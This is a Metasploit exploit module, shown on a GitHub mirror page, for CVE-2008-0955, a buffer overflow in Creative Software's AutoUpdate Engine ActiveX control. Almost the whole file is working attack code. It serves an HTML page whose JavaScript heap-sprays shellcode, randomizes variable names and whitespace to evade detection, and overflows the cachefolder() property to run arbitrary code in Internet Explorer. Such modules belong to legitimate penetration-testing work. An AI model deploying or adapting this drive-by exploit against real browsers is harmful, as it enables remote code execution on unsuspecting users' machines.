modules/exploits/windows/browser/creative_software_cachefolder.rb - master - githubmirror/metasploit-framework

modules/exploits/windows/browser/creative_software_cachefolder.rb
112 строк4 KB
cgranleese-r7
Update info -d markdown
24 июн 2025, 13:21
24 июн 2025, 13:21a454217
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Creative Software AutoUpdate Engine ActiveX Control Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in Creative Software AutoUpdate Engine. When
          sending an overly long string to the cachefolder() property of CTSUEng.ocx
          an attacker may be able to execute arbitrary code.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'MC', ],
        'References' => [
          [ 'CVE', '2008-0955' ],
          [ 'OSVDB', '45655' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Payload' => {
          'Space' => 1024,
          'BadChars' => "\x00",
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
        ],
        'DisclosureDate' => '2008-05-28',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Encode the shellcode
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Randomize the javascript variable names
    vname = rand_text_alpha(rand(100) + 1)
    var_i = rand_text_alpha(rand(30) + 2)
    rand1 = rand_text_alpha(rand(100) + 1)
    rand2 = rand_text_alpha(rand(100) + 1)
    rand3 = rand_text_alpha(rand(100) + 1)
    rand4 = rand_text_alpha(rand(100) + 1)
    rand5 = rand_text_alpha(rand(100) + 1)
    rand6 = rand_text_alpha(rand(100) + 1)
    rand7 = rand_text_alpha(rand(100) + 1)
    rand8 = rand_text_alpha(rand(100) + 1)

    randnop = rand_text_alpha(rand(100) + 1)
    js_nops = Rex::Text.to_unescape("\x0c" * 4)

    content = %Q|
      <html>
        <object id='#{vname}' classid='clsid:0A5FD7C5-A45C-49FC-ADB5-9952547D5715'></object>
        <script language="JavaScript">
        var #{rand1} = unescape('#{shellcode}');
        var #{randnop} = "#{js_nops}";
        var #{rand2} = unescape(#{randnop});
        var #{rand3} = 20;
        var #{rand4} = #{rand3} + #{rand1}.length;
        while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
        var #{rand5} = #{rand2}.substring(0,#{rand4});
        var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
        while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
        var #{rand7} = new Array();
        for (#{var_i} = 0; #{var_i} < 500; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
        var #{rand8} = ""
        for (#{var_i} = 0; #{var_i} < 1024; #{var_i}++) { #{rand8} = #{rand8} + unescape("%0c%0c") }
        #{vname}.cachefolder(#{rand8});
        </script>
      </html>
      |

    # Randomize the whitespace in the document
    content = Rex::Text.randomize_space(content)

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end